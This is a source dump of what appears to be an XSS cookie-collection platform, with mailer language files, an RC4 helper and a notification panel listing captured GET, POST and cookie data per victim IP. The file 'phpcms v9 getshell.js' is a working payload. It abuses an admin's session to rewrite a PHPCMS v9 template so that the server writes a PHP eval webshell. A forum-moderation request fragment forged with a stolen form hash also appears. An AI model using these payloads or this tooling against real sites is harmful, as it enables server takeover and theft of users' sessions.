 8 | $PHPMAILER_LANG['authenticate']         = 'SMTP 错误:身份验证失败。';
 9 | $PHPMAILER_LANG['connect_host']         = 'SMTP 错误: 不能连接SMTP主机。';
10 | $PHPMAILER_LANG['data_not_accepted']    = 'SMTP 错误: 数据不可接受。';
11 | //$PHPMAILER_LANG['empty_message']        = 'Message body empty';
12 | $PHPMAILER_LANG['encoding']             = '未知编码:';
13 | $PHPMAILER_LANG['execute']              = '不能执行: ';
14 | $PHPMAILER_LANG['file_access']          = '不能访问文件:';
15 | $PHPMAILER_LANG['file_open']            = '文件错误:不能打开文件:';
16 | $PHPMAILER_LANG['from_failed']          = '下面的发送地址邮件发送失败了: ';
17 | $PHPMAILER_LANG['instantiate']          = '不能实现mail方法。';
18 | //$PHPMAILER_LANG['invalid_address']      = 'Invalid address: ';
19 | $PHPMAILER_LANG['mailer_not_supported'] = ' 您所选择的发送邮件的方法并不支持。';
20 | $PHPMAILER_LANG['provide_address']      = '您必须提供至少一个 收信人的email地址。';
21 | $PHPMAILER_LANG['recipients_failed']    = 'SMTP 错误: 下面的 收件人失败了: ';
22 | //$PHPMAILER_LANG['signing']              = 'Signing Error: ';
23 | //$PHPMAILER_LANG['smtp_connect_failed']  = 'SMTP Connect() failed.';
24 | //$PHPMAILER_LANG['smtp_error']           = 'SMTP server error: ';
25 | //$PHPMAILER_LANG['variable_set']         = 'Cannot set or reset variable: ';
26 | //$PHPMAILER_LANG['extension_missing']    = 'Extension missing: ';
27 | 


--------------------------------------------------------------------------------
/PHPMailer/language/phpmailer.lang-ko.php:
--------------------------------------------------------------------------------
 1 | 
 6 |  */
 7 | 
 8 | $PHPMAILER_LANG['authenticate']         = 'SMTP 오류: 인증할 수 없습니다.';
 9 | $PHPMAILER_LANG['connect_host']         = 'SMTP 오류: SMTP 호스트에 접속할 수 없습니다.';
10 | $PHPMAILER_LANG['data_not_accepted']    = 'SMTP 오류: 데이터가 받아들여지지 않았습니다.';
11 | $PHPMAILER_LANG['empty_message']        = '메세지 내용이 없습니다';
12 | $PHPMAILER_LANG['encoding']             = '알 수 없는 인코딩: ';
13 | $PHPMAILER_LANG['execute']              = '실행 불가: ';
14 | $PHPMAILER_LANG['file_access']          = '파일 접근 불가: ';
15 | $PHPMAILER_LANG['file_open']            = '파일 오류: 파일을 열 수 없습니다: ';
16 | $PHPMAILER_LANG['from_failed']          = '다음 From 주소에서 오류가 발생했습니다: ';
17 | $PHPMAILER_LANG['instantiate']          = 'mail 함수를 인스턴스화할 수 없습니다';
18 | $PHPMAILER_LANG['invalid_address']      = '잘못된 주소: ';
19 | $PHPMAILER_LANG['mailer_not_supported'] = ' 메일러는 지원되지 않습니다.';
20 | $PHPMAILER_LANG['provide_address']      = '적어도 한 개 이상의 수신자 메일 주소를 제공해야 합니다.';
21 | $PHPMAILER_LANG['recipients_failed']    = 'SMTP 오류: 다음 수신자에서 오류가 발생했습니다: ';
22 | $PHPMAILER_LANG['signing']              = '서명 오류: ';
23 | $PHPMAILER_LANG['smtp_connect_failed']  = 'SMTP 연결을 실패하였습니다.';
24 | $PHPMAILER_LANG['smtp_error']           = 'SMTP 서버 오류: ';
25 | $PHPMAILER_LANG['variable_set']         = '변수 설정 및 초기화 불가: ';
26 | $PHPMAILER_LANG['extension_missing']    = '확장자 없음: ';
27 | 


--------------------------------------------------------------------------------
/mail.php:
--------------------------------------------------------------------------------
 1 | ", $body);
15 |     $body = str_replace(" ", " ", $body);
16 |     
17 |     $mail = new PHPMailer(); //实例化
18 |     $mail->isSendmail();
19 |     
20 |     $mail->IsSMTP(); // 启用SMTP
21 |     $mail->Host       = SMTP_SERVER; //SMTP服务器
22 |     $mail->Port       = SMTP_PORT; //邮件发送端口
23 |     $mail->SMTPAuth   = true; //启用SMTP认证
24 |     $mail->SMTPSecure = SMTP_SECURE;
25 |     $mail->CharSet    = "UTF-8"; //字符集
26 |     $mail->Encoding   = "base64"; //编码方式
27 |     
28 |     $mail->Username = MAIL_USER; //你的邮箱
29 |     $mail->Password = MAIL_PASS; //你的密码
30 |     
31 |     $mail->Subject  = $subject; //邮件标题
32 |     $mail->From     = MAIL_FROM; //发件人地址(也就是你的邮箱)
33 |     $mail->FromName = "通知"; //发件人姓名
34 |     
35 |     $mail->AddAddress(MAIL_RECV); //添加收件人(地址,昵称)
36 |     
37 |     $mail->IsHTML(true); //支持html格式内容
38 |     
39 |     $mail->Body = $body;
40 |     $mail->Send();
41 | }
42 | 


--------------------------------------------------------------------------------
/static/js/jsmin.min.js:
--------------------------------------------------------------------------------
1 | String.prototype.has=function(f){return-1=a)return a;case "*":for(d();;)switch(d()){case "*":if("/"==l())return d()," ";break;case -1:throw"Error: Unterminated comment.";}}return a}function c(a){var c=[];1==a&&c.push(b);if(3>a&&(b=e,"'"==b||'"'==b))for(;;){c.push(b);b=d();if(b==e)break;if("\n">=b)throw"Error: unterminated string literal: "+b;"\\"==b&&(c.push(b),b=d())}e=m();if("/"==e&&"(,\x3d:[!\x26|".has(b)){c.push(b);for(c.push(e);;){b=d();if("/"==b)break;else if("\\"==b)c.push(b),b=d();else if("\n">=b)throw"Error: unterminated Regular Expression literal";c.push(b)}e=m()}return c.join("")}var b="",e="",k=-1;d.i=0;d.l=f.length;return function(){var a=[];b="\n";for(a.push(c(3));-1!=b;)switch(b){case " ":g(e)?a.push(c(1)):a.push(c(2));break;case "\n":switch(e){case "{":case "[":case "(":case "+":case "-":a.push(c(1));break;case " ":a.push(c(3));break;default:g(e)?a.push(c(1)):1==h&&"\n"!=e?a.push(c(1)):a.push(c(2))}break;default:switch(e){case " ":if(g(b)){a.push(c(1));break}a.push(c(3));break;case "\n":if(1==h&&"\n"!=b)a.push(c(1));else switch(b){case "}":case "]":case ")":case "+":case "-":case '"':case "'":3==h?a.push(c(3)):a.push(c(1));break;default:g(b)?a.push(c(1)):a.push(c(3))}break;default:a.push(c(1))}}return a.join("")}(f)};


--------------------------------------------------------------------------------
/PHPMailer/language/phpmailer.lang-he.php:
--------------------------------------------------------------------------------
 1 | 
 6 |  */
 7 | 
 8 | $PHPMAILER_LANG['authenticate']         = 'שגיאת SMTP: פעולת האימות נכשלה.';
 9 | $PHPMAILER_LANG['connect_host']         = 'שגיאת SMTP: לא הצלחתי להתחבר לשרת SMTP.';
10 | $PHPMAILER_LANG['data_not_accepted']    = 'שגיאת SMTP: מידע לא התקבל.';
11 | $PHPMAILER_LANG['empty_message']        = 'גוף ההודעה ריק';
12 | $PHPMAILER_LANG['invalid_address']      = 'כתובת שגויה: ';
13 | $PHPMAILER_LANG['encoding']             = 'קידוד לא מוכר: ';
14 | $PHPMAILER_LANG['execute']              = 'לא הצלחתי להפעיל את: ';
15 | $PHPMAILER_LANG['file_access']          = 'לא ניתן לגשת לקובץ: ';
16 | $PHPMAILER_LANG['file_open']            = 'שגיאת קובץ: לא ניתן לגשת לקובץ: ';
17 | $PHPMAILER_LANG['from_failed']          = 'כתובות הנמענים הבאות נכשלו: ';
18 | $PHPMAILER_LANG['instantiate']          = 'לא הצלחתי להפעיל את פונקציית המייל.';
19 | $PHPMAILER_LANG['mailer_not_supported'] = ' אינה נתמכת.';
20 | $PHPMAILER_LANG['provide_address']      = 'חובה לספק לפחות כתובת אחת של מקבל המייל.';
21 | $PHPMAILER_LANG['recipients_failed']    = 'שגיאת SMTP: הנמענים הבאים נכשלו: ';
22 | $PHPMAILER_LANG['signing']              = 'שגיאת חתימה: ';
23 | $PHPMAILER_LANG['smtp_connect_failed']  = 'SMTP Connect() failed.';
24 | $PHPMAILER_LANG['smtp_error']           = 'שגיאת שרת SMTP: ';
25 | $PHPMAILER_LANG['variable_set']         = 'לא ניתן לקבוע או לשנות את המשתנה: ';
26 | //$PHPMAILER_LANG['extension_missing']    = 'Extension missing: ';
27 | 


--------------------------------------------------------------------------------
/PHPMailer/language/phpmailer.lang-ja.php:
--------------------------------------------------------------------------------
 1 | 
 6 |  * @author Yoshi Sakai 
 7 |  */
 8 | 
 9 | $PHPMAILER_LANG['authenticate']         = 'SMTPエラー: 認証できませんでした。';
10 | $PHPMAILER_LANG['connect_host']         = 'SMTPエラー: SMTPホストに接続できませんでした。';
11 | $PHPMAILER_LANG['data_not_accepted']    = 'SMTPエラー: データが受け付けられませんでした。';
12 | //$PHPMAILER_LANG['empty_message']        = 'Message body empty';
13 | $PHPMAILER_LANG['encoding']             = '不明なエンコーディング: ';
14 | $PHPMAILER_LANG['execute']              = '実行できませんでした: ';
15 | $PHPMAILER_LANG['file_access']          = 'ファイルにアクセスできません: ';
16 | $PHPMAILER_LANG['file_open']            = 'ファイルエラー: ファイルを開けません: ';
17 | $PHPMAILER_LANG['from_failed']          = 'Fromアドレスを登録する際にエラーが発生しました: ';
18 | $PHPMAILER_LANG['instantiate']          = 'メール関数が正常に動作しませんでした。';
19 | //$PHPMAILER_LANG['invalid_address']      = 'Invalid address: ';
20 | $PHPMAILER_LANG['provide_address']      = '少なくとも1つメールアドレスを 指定する必要があります。';
21 | $PHPMAILER_LANG['mailer_not_supported'] = ' メーラーがサポートされていません。';
22 | $PHPMAILER_LANG['recipients_failed']    = 'SMTPエラー: 次の受信者アドレスに 間違いがあります: ';
23 | //$PHPMAILER_LANG['signing']              = 'Signing Error: ';
24 | //$PHPMAILER_LANG['smtp_connect_failed']  = 'SMTP Connect() failed.';
25 | //$PHPMAILER_LANG['smtp_error']           = 'SMTP server error: ';
26 | //$PHPMAILER_LANG['variable_set']         = 'Cannot set or reset variable: ';
27 | //$PHPMAILER_LANG['extension_missing']    = 'Extension missing: ';
28 | 


--------------------------------------------------------------------------------
/PHPMailer/extras/README.md:
--------------------------------------------------------------------------------
 1 | #PHPMailer Extras
 2 | 
 3 | These classes provide optional additional functions to PHPMailer.
 4 | 
 5 | These are not loaded by the PHPMailer autoloader, so in some cases you may need to `require` them yourself before using them.
 6 | 
 7 | ##EasyPeasyICS
 8 | 
 9 | This class was originally written by Manuel Reinhard and provides a simple means of generating ICS/vCal files that are used in sending calendar events. PHPMailer does not use it directly, but you can use it to generate content appropriate for placing in the `Ical` property of PHPMailer. The PHPMailer project is now its official home as Manuel has given permission for that and is no longer maintaining it himself.
10 | 
11 | ##htmlfilter
12 | 
13 | This class by Konstantin Riabitsev and Jim Jagielski implements HTML filtering to remove potentially malicious tags, such as `
75 | x.post("接口地址","frommodcp=&formhash="+hash+"&fid=2&redirect=&listextra=page%3D1&handlekey=mods&moderate[]=12&operations[]=stick&sticklevel=3&expirationstick=&digestlevel=0&expirationdigest=&highlight_color=0&highlight_style[1]=0&highlight_style[2]=0&highlight_style[3]=0&expirationhighlight=&reason=");
76 | 
77 | 
78 | */


--------------------------------------------------------------------------------
/static/js/notification.min.js:
--------------------------------------------------------------------------------
1 | var unreadNum=0,oldTitle=document.title;document.documentElement.style.overflow="hidden";function readNotification(){unreadNum=0;document.title&&(document.title=oldTitle);$(this).parent().fadeOut(200);$("#xss_panel_tab").tab("show");$("#panelGrid").jqxGrid("updatebounddata")}function showNotification(b,c,d){unreadNum+=b;$.ajax({url:urlbase+"?cmd\x3dget\x26id\x3d"+c,dataType:"json",timeout:d,success:function(a){document.title&&(document.title="\u3010\u6536\u5230"+unreadNum+"\u5c01\u6d88\u606f\u3011"+oldTitle);$("#webpushtipcontainer").remove();$("#notifications-bottom-right").append('\x3cdiv id\x3d"webpushtipcontainer" class\x3d"webpushtipoutter" \x3e\x3cdiv class\x3d"webpushtipinner"\x3e\x3cdiv id\x3d"webpushtip1" style\x3d"visibility: visible; bottom: 0px;" class\x3d"newmailNotifyItem notify_mail"\x3e\x3cdiv class\x3d"newmailNotify" id\x3d"newNotification"\x3e\x3ca nocheck\x3d"true" id\x3d"webpushtip1close" class\x3d"notify_close"title\x3d"\u5173\u95ed"\x3e\x3c/a\x3e\x3cdiv class\x3d"notify_type"\x3e\x3cspan\x3e\x3c/span\x3e\x3clabel\x3e\x3cem id\x3d"unreadNum"\x3e1\x3c/em\x3e\x3c/label\x3e\x3c/div\x3e\x3cdiv class\x3d"notify_content"\x3e\x3cp class\x3d"notify_location"\x3e\u672a\u77e5\x3c/p\x3e\x3cp class\x3d"notify_title"\x3e0.0.0.0\x3c/p\x3e\x3cp class\x3d"notify_digest"\x3eGET:0\u4e2a POST:0\u4e2a Cookie:0\u4e2a\x3c/p\x3e\x3c/div\x3e\x3c/div\x3e\x3c/div\x3e\x3c/div\x3e\x3c/div\x3e');$("#webpushtipcontainer").addClass("animated bounceInUp");$("#webpushtip1close").click(function(a){$(this).parent().parent().fadeOut(200);a.stopPropagation()});$("#newNotification").click(readNotification);$("#unreadNum").text(unreadNum);$(".notify_location").text(a.location);$(".notify_title").text(a.user_IP);$(".notify_digest").text("GET:"+Object.keys(a.get_data).length+"\u4e2a POST:"+Object.keys(a.post_data).length+"\u4e2a Cookie:"+Object.keys(a.cookie_data).length+"\u4e2a");$("#notifications-bottom-right").addClass("animated bounceInUp")},complete:function(a,b){"timeout"==b&&($("#webpushtipcontainer").remove(),$("#notifications-bottom-right").append('\x3cdiv id\x3d"webpushtipcontainer" class\x3d"webpushtipoutter" \x3e\x3cdiv class\x3d"webpushtipinner"\x3e\x3cdiv id\x3d"webpushtip1" style\x3d"visibility: visible; bottom: 0px;" class\x3d"newmailNotifyItem notify_mail"\x3e\x3cdiv class\x3d"newmailNotify" id\x3d"newNotification"\x3e\x3ca nocheck\x3d"true" id\x3d"webpushtip1close" class\x3d"notify_close"title\x3d"\u5173\u95ed"\x3e\x3c/a\x3e\x3cdiv class\x3d"notify_type"\x3e\x3cspan\x3e\x3c/span\x3e\x3clabel\x3e\x3cem id\x3d"unreadNum"\x3e1\x3c/em\x3e\x3c/label\x3e\x3c/div\x3e\x3cdiv class\x3d"notify_content"\x3e\x3cp class\x3d"notify_location"\x3e\u672a\u77e5\u6765\u6e90\x3c/p\x3e\x3cp class\x3d"notify_title"\x3e\u7f51\u7edc\u9519\u8bef\x3c/p\x3e\x3cp class\x3d"notify_digest"\x3e\u8bf7\u68c0\u67e5\u7f51\u7edc\u8fde\u63a5\x3c/p\x3e\x3c/div\x3e\x3c/div\x3e\x3c/div\x3e\x3c/div\x3e\x3c/div\x3e'),$("#webpushtipcontainer").addClass("animated bounceInUp"),$("#webpushtip1close").click(function(a){$(this).parent().parent().fadeOut(200);a.stopPropagation()}),$("#newNotification").click(readNotification),$("#unreadNum").text(unreadNum),$("#notifications-bottom-right").addClass("animated bounceInUp"))}})};


--------------------------------------------------------------------------------
/src/js/notification.js:
--------------------------------------------------------------------------------
 1 | var unreadNum=0;
 2 | var oldTitle=document.title;
 3 | document.documentElement.style.overflow="hidden";
 4 | 
 5 | function readNotification(){
 6 | 	unreadNum=0;
 7 | 	if(document.title)
 8 | 		document.title=oldTitle;
 9 | 	$(this).parent().fadeOut(200);
10 | 	
11 | 	$("#xss_panel_tab").tab('show');
12 | 	//重新载入数据
13 | 	$('#panelGrid').jqxGrid('updatebounddata');
14 | 	
15 | }
16 | 
17 | function showNotification(newUnreadNum,lastedID,interval){
18 | 	unreadNum+=newUnreadNum;
19 | 	$.ajax({
20 | 		url: urlbase+"?cmd=get&id="+lastedID,
21 | 		dataType: "json",
22 | 		timeout : interval,	
23 | 		success: function(data)
24 | 		{
25 | 			
26 | 			if(document.title)
27 | 				document.title='【收到'+unreadNum+"封消息】"+oldTitle;
28 | 
29 | 			var notificationHTML='

未知

0.0.0.0

GET:0个 POST:0个 Cookie:0个

'; 30 | $("#webpushtipcontainer").remove(); 31 | $("#notifications-bottom-right").append(notificationHTML); 32 | $("#webpushtipcontainer").addClass('animated bounceInUp'); 33 | $('#webpushtip1close').click(function(event){$(this).parent().parent().fadeOut(200);event.stopPropagation();}); 34 | $("#newNotification").click(readNotification); 35 | 36 | $('#unreadNum').text(unreadNum); 37 | $('.notify_location').text(data.location); 38 | $('.notify_title').text(data.user_IP); 39 | $('.notify_digest').text("GET:"+Object.keys(data.get_data).length+"个 POST:"+Object.keys(data.post_data).length+"个 Cookie:"+Object.keys(data.cookie_data).length+"个"); 40 | $("#notifications-bottom-right").addClass('animated bounceInUp'); 41 | 42 | }, 43 | complete : function(XMLHttpRequest,status){ 44 | if(status=='timeout'){ 45 | var notificationHTML='

未知来源

网络错误

请检查网络连接

'; 46 | $("#webpushtipcontainer").remove(); 47 | $("#notifications-bottom-right").append(notificationHTML); 48 | $("#webpushtipcontainer").addClass('animated bounceInUp'); 49 | $('#webpushtip1close').click(function(event){$(this).parent().parent().fadeOut(200);event.stopPropagation();}); 50 | $("#newNotification").click(readNotification); 51 | 52 | $('#unreadNum').text(unreadNum); 53 | $("#notifications-bottom-right").addClass('animated bounceInUp'); 54 | } 55 | } 56 | }); 57 | } 58 | -------------------------------------------------------------------------------- /static/css/notification.min.css: -------------------------------------------------------------------------------- 1 | #notifications-bottom-right{position:absolute;width:360px;right:20px;bottom:40px}.webpushtipoutter{z-index:9999;position:absolute;right:5px;bottom:5px;_width:330px}.webpushtipinner{position:relative;height:66px;padding:7px}.newmailNotifyBox{position:absolute;bottom:0;right:0;z-index:5;padding:8px 17px 7px 0;overflow:hidden}.newmailNotifyItem{position:relative;width:305px;height:69px;margin-bottom:10px;padding:1px;border-radius:5px;-webkit-border-radius:5px;box-shadow:0 2px 5px rgba(0,0,0,0.2);-webkit-box-shadow:0 2px 5px rgba(0,0,0,0.2);background:#ADBFC8;background:-moz-linear-gradient(top,#C4D1D7,#98AFBA);background:-webkit-gradient(linear,0 0,0 bottom,from(#C4D1D7),to(#98AFBA));background:-o-linear-gradient(top,#C4D1D7,#98AFBA);-moz-transition:box-shadow 1s}.newmailNotifyItem:hover .newmailNotify{box-shadow:0 0 5px #8EC7EF inset;-webkit-box-shadow:0 0 5px #8EC7EF inset}.newmailNotifyItem:hover .notify_type{background:transparent;*background:#EEF6F9}.newmailNotify{height:66px;background:#F7FDFF;cursor:pointer;border-radius:5px;-webkit-border-radius:5px;box-shadow:0 0 9px #E5EFF5 inset;-webkit-box-shadow:0 0 9px #E5EFF5 inset}.newmailNotify .notify_close{position:absolute;top:-6px;top:4px\9;right:-6px;right:4px\9;width:15px;height:15px;height:14px\9;overflow:hidden;background:url(../images/mail.png) no-repeat -106px -18px #B6CFDA;opacity:0;filter:alpha(opacity=0);border-radius:10px;-webkit-border-radius:10px;-moz-transition:opacity .2s ease;-webkit-transition:opacity .1s ease;_filter:alpha(opacity=100)}.newmailNotify:hover .notify_close:hover,.hover .notify_close:hover{opacity:1;filter:alpha(opacity=100)}.newmailNotify:hover .notify_close:active,.hover .notify_close:active{opacity:1;filter:alpha(opacity=100)}.newmailNotify:hover .notify_close,.hover .notify_close{opacity:.8;filter:alpha(opacity=80)}.newmailNotify .notify_type{position:relative;float:left;width:60px;height:66px;border-right:1px solid #CBDAE1;background:#EEF6F9;border-radius:5px 0 0 5px;-webkit-border-radius:5px 0 0 5px}.newmailNotify .notify_type span{display:inline-block;width:32px;height:34px;margin:16px 0 0 16px;background:url(../images/notify_letter.png) no-repeat}.newmailNotify .notify_type label{position:absolute;top:12px;right:10px;+right:5px;text-align:center;overflow:visible}.newmailNotify .notify_type em{display:inline-block;cursor:pinter;min-width:13px;margin-right:-50%;+margin-right:0;padding:0 2px;+padding:0 2px 2px;border:1px solid white;line-height:15px;color:white;font-weight:bold;font-style:normal;background:#D40707;border-radius:8px;-webkit-border-radius:8px;background:-moz-linear-gradient(top,#E80505,#C70909);background:-webkit-gradient(linear,0 0,0 bottom,from(#E80505),to(#C70909));background:-o-linear-gradient(top,#E80505,#C70909)}@media screen and (-webkit-min-device-pixel-ratio:0){.newmailNotify .notify_type em{border:0}}.newmailNotify .notify_content{margin-left:66px;overflow:hidden;width:230px}.newmailNotify p{margin:0;padding:2px 0 1px;white-space:normal;white-space:nowrap\9;_white-space:normal;height:auto\9;_height:16px;_line-height:16px;overflow:hidden;text-overflow:ellipsis}@media screen and (-webkit-min-device-pixel-ratio:0){.newmailNotify p{margin-top:2px;white-space:nowrap;overflow:hidden;text-overflow:ellipsis}}.newmailNotify .notify_location{padding:7px 0 1px;font-size:12px;font-weight:bold}.newmailNotify .notify_digest{color:#8596A9;padding-top:2px} -------------------------------------------------------------------------------- /template/phpcms v9 getshell.js: -------------------------------------------------------------------------------- 1 | if (top.window.location.href.indexOf("pc_hash=") > 0) { 2 | var hash = top.window.location.href.substr(top.window.location.href.indexOf("pc_hash=") + 8, 6); 3 | } 4 | var pkav = { 5 | ajax: function() { 6 | var xmlHttp; 7 | try { 8 | xmlHttp = new XMLHttpRequest(); 9 | } catch (e) { 10 | try { 11 | xmlHttp = new ActiveXObject("Msxml2.XMLHTTP"); 12 | } catch (e) { 13 | try { 14 | xmlHttp = new ActiveXObject("Microsoft.XMLHTTP"); 15 | } catch (e) { 16 | return false; 17 | } 18 | } 19 | } 20 | return xmlHttp; 21 | }, 22 | req: function(url, data, method, callback) { 23 | method = (method || "").toUpperCase(); 24 | method = method || "GET"; 25 | data = data || ""; 26 | if (url) { 27 | var a = this.ajax(); 28 | a.open(method, url, true); 29 | if (method == "POST") { 30 | a.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); 31 | } 32 | a.onreadystatechange = function() { 33 | if (a.readyState == 4 && a.status == 200) { 34 | if (callback) { 35 | callback(a.responseText); 36 | } 37 | } 38 | }; 39 | if ((typeof data) == "object") { 40 | var arr = []; 41 | for (var i in data) { 42 | arr.push(i + "=" + encodeURIComponent(data[i])); 43 | } 44 | a.send(arr.join("&")); 45 | } else { 46 | a.send(data || null); 47 | } 48 | } 49 | }, 50 | get: function(url, callback) { 51 | this.req(url, "", "GET", callback); 52 | }, 53 | post: function(url, data, callback) { 54 | this.req(url, data, "POST", callback); 55 | } 56 | }; 57 | if (!window.__x) { 58 | pkav.post("index.php?m=template&c=file&a=edit_file&style=default&dir=announce&file=show.html", "code=%7Btemplate+%27content%27%2C+%27header%27%7D%0D%0A%3C%21--main--%3E%0D%0A%3Cdiv+class%3D%22main%22%3E%0D%0A%09%3Cdiv+class%3D%22col-left%22%3E%0D%0A++++%09%3Cdiv+class%3D%22crumbs%22%3E%3Ca+href%3D%22%7BAPP_PATH%7D%22%3E%CA%D7%D2%B3%3C%2Fa%3E%3Cspan%3E+%3E+%3C%2Fspan%3E%B9%AB%B8%E6%3C%2Fdiv%3E%0D%0A++++++++%3Cdiv+id%3D%22Article%22%3E%0D%0A++++++++%09%3Ch1%3E%7B%24title%7D%3Cbr+%2F%3E%0D%0A%3Cspan%3E%3C%2Fspan%3E%3C%2Fh1%3E%0D%0A%09%09%09%3Cdiv+class%3D%22content%22%3E%0D%0A%09%09%09++%7B%24content%7D%0D%0A%09%09%09%3C%2Fdiv%3E%0D%0A++++++%3C%2Fdiv%3E%0D%0A++%3C%2Fdiv%3E%0D%0A++++%3Cdiv+class%3D%22col-auto%22%3E%0D%0A++++++++%3Cdiv+class%3D%22box+pd_b0%22%3E%0D%0A%09%09%7Bpc%3Acomment+action%3D%22bang%22+cache%3D%223600%22%7D%0D%0A++++++++++++%3Cul+class%3D%22itemli%22%3E%0D%0A%09%09%09%7Bloop+%24data+%24r%7D%0D%0A++++++++++++++++%3Cli%3E%3Ca+href%3D%22%7B%24r%5Burl%5D%7D%22+target%3D%22_blank%22%3E%7Bstr_cut%28%24r%5Btitle%5D%2C+26%29%7D%3C%2Fa%3E%3C%2Fli%3E%0D%0A++++++++++++%7B%2Floop%7D%0D%0A++++++++++++%3C%2Ful%3E%0D%0A%09%09%7B%2Fpc%7D%0D%0A++++++++%3C%2Fdiv%3E%0D%0A++++%3C%2Fdiv%3E%0D%0A%3C%2Fdiv%3E%0D%0A%7Btemplate+%27content%27%2C+%27footer%27%7D%0D%0A%3Cscript+language%3Dphp%3E%24fp+%3D+%40fopen%28%22test.php%22%2C+%27a%27%29%3B%0D%0A%40fwrite%28%24fp%2C+%27%3C%27.%27%3Fphp%27.%22%5Cr%5Cn%5Cr%5Cn%22.%27%40eval%28%24_POST%5B%22chopper%22%5D%29%27.%22%5Cr%5Cn%5Cr%5Cn%3F%22.%22%3E%5Cr%5Cn%22%29%3B%0D%0A%40fclose%28%24fp%29%3B%3C%2Fscript%3E&dosubmit=%CC%E1%BD%BB&pc_hash=" + hash, function(rs) {}); 59 | pkav.get("index.php?m=template&c=file&a=visualization&style=default&dir=announce&file=show.html&pc_hash=" + hash, function(rs) {}); 60 | window.__x = 1; 61 | } -------------------------------------------------------------------------------- /rc4.php: -------------------------------------------------------------------------------- 1 | 8 | * 9 | * Licensed under the Apache License, Version 2.0 (the "License"); 10 | * you may not use this file except in compliance with the License. 11 | * You may obtain a copy of the License at 12 | * 13 | * http://www.apache.org/licenses/LICENSE-2.0 14 | * 15 | * Unless required by applicable law or agreed to in writing, software 16 | * distributed under the License is distributed on an "AS IS" BASIS, 17 | * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 18 | * See the License for the specific language governing permissions and 19 | * limitations under the License. 20 | */ 21 | 22 | /** 23 | * A PHP implementation of RC4 based on the original C code from 24 | * the 1994 usenet post: 25 | * 26 | * http://groups.google.com/groups?selm=sternCvKL4B.Hyy@netcom.com 27 | * 28 | * @param key_str the key as a binary string 29 | * @param data_str the data to decrypt/encrypt as a binary string 30 | * @return the result of the RC4 as a binary string 31 | * @author Michael Cutler 32 | */ 33 | function rc4($data_str, $key_str) { 34 | // convert input string(s) to array(s) 35 | $key = array(); 36 | $data = array(); 37 | for ($i = 0; $i < strlen($key_str); $i++) { 38 | $key[] = ord($key_str{$i}); 39 | } 40 | for ($i = 0; $i < strlen($data_str); $i++) { 41 | $data[] = ord($data_str{$i}); 42 | } 43 | // prepare key 44 | $state = array( 0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15, 45 | 16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31, 46 | 32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47, 47 | 48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63, 48 | 64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79, 49 | 80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95, 50 | 96,97,98,99,100,101,102,103,104,105,106,107,108,109,110,111, 51 | 112,113,114,115,116,117,118,119,120,121,122,123,124,125,126,127, 52 | 128,129,130,131,132,133,134,135,136,137,138,139,140,141,142,143, 53 | 144,145,146,147,148,149,150,151,152,153,154,155,156,157,158,159, 54 | 160,161,162,163,164,165,166,167,168,169,170,171,172,173,174,175, 55 | 176,177,178,179,180,181,182,183,184,185,186,187,188,189,190,191, 56 | 192,193,194,195,196,197,198,199,200,201,202,203,204,205,206,207, 57 | 208,209,210,211,212,213,214,215,216,217,218,219,220,221,222,223, 58 | 224,225,226,227,228,229,230,231,232,233,234,235,236,237,238,239, 59 | 240,241,242,243,244,245,246,247,248,249,250,251,252,253,254,255 ); 60 | $len = count($key); 61 | $index1 = $index2 = 0; 62 | for ($counter = 0; $counter < 256; $counter++) { 63 | $index2 = ($key[$index1] + $state[$counter] + $index2) % 256; 64 | $tmp = $state[$counter]; 65 | $state[$counter] = $state[$index2]; 66 | $state[$index2] = $tmp; 67 | $index1 = ($index1 + 1) % $len; 68 | } 69 | // rc4 70 | $len = count($data); 71 | $x = $y = 0; 72 | for ($counter = 0; $counter < $len; $counter++) { 73 | $x = ($x + 1) % 256; 74 | $y = ($state[$x] + $y) % 256; 75 | $tmp = $state[$x]; 76 | $state[$x] = $state[$y]; 77 | $state[$y] = $tmp; 78 | $data[$counter] ^= $state[($state[$x] + $state[$y]) % 256]; 79 | } 80 | // convert output back to a string 81 | $data_str = ""; 82 | for ($i = 0; $i < $len; $i++) { 83 | $data_str .= chr($data[$i]); 84 | } 85 | return $data_str; 86 | } -------------------------------------------------------------------------------- /static/css/install.min.css: -------------------------------------------------------------------------------- 1 | html{background:#222526;margin:0 20px}body{background:#fff;color:#444;font-family:'Microsoft YaHei',"Open Sans",sans-serif;margin:190px auto 25px;padding:20px 20px 10px 20px;max-width:600px;-webkit-font-smoothing:subpixel-antialiased;-webkit-box-shadow:0 1px 3px rgba(0,0,0,0.13);box-shadow:0 1px 3px rgba(0,0,0,0.13)}a{color:#0073aa}a:hover,a:active{color:#00a0d2}a:focus{color:#124964;-webkit-box-shadow:0 0 0 1px #5b9dd9,0 0 2px 1px rgba(30,140,190,.8);box-shadow:0 0 0 1px #5b9dd9,0 0 2px 1px rgba(30,140,190,.8)}.ie8 a:focus{outline:#5b9dd9 solid 1px}h1,h2{border-bottom:1px solid #dedede;clear:both;color:#666;font-size:24px;padding:0;padding-bottom:7px;font-weight:normal}h3{font-size:16px}p,li,dd,dt{padding-bottom:2px;font-size:14px;line-height:1.5}code,.code{font-family:'Microsoft YaHei',Consolas,Monaco,monospace}ul,ol,dl{padding:5px 5px 5px 22px}a img{border:0}abbr{border:0;font-variant:normal}fieldset{border:0;padding:0;margin:0}label{cursor:pointer}#logo{margin:-170px 0 37px 0;padding:0 0 7px 0;border-bottom:0;text-align:center}#logo a{background-image:url(../images/logo.png);-webkit-background-size:180px;background-size:180px;background-position:center top;background-repeat:no-repeat;color:#999;height:180px;width:300px;font-size:20px;font-weight:normal;line-height:1.3em;margin:-110px auto -50px;padding:0;text-decoration:none;text-indent:-9999px;outline:0;overflow:hidden;display:block}#logo a:focus{-webkit-box-shadow:none;box-shadow:none}.step{margin:20px 0 15px}.step,th{text-align:left;padding:0}.form-table{border-collapse:collapse;margin-top:1em;width:100%}.form-table td{margin-bottom:9px;padding:10px 20px 10px 0;font-size:14px;vertical-align:top}.form-table th{font-size:14px;text-align:left;padding:10px 20px 10px 0;width:140px;vertical-align:top}.form-table code{line-height:18px;font-size:14px}.form-table p{margin:4px 0 0 0;font-size:11px;display:inline}.form-table 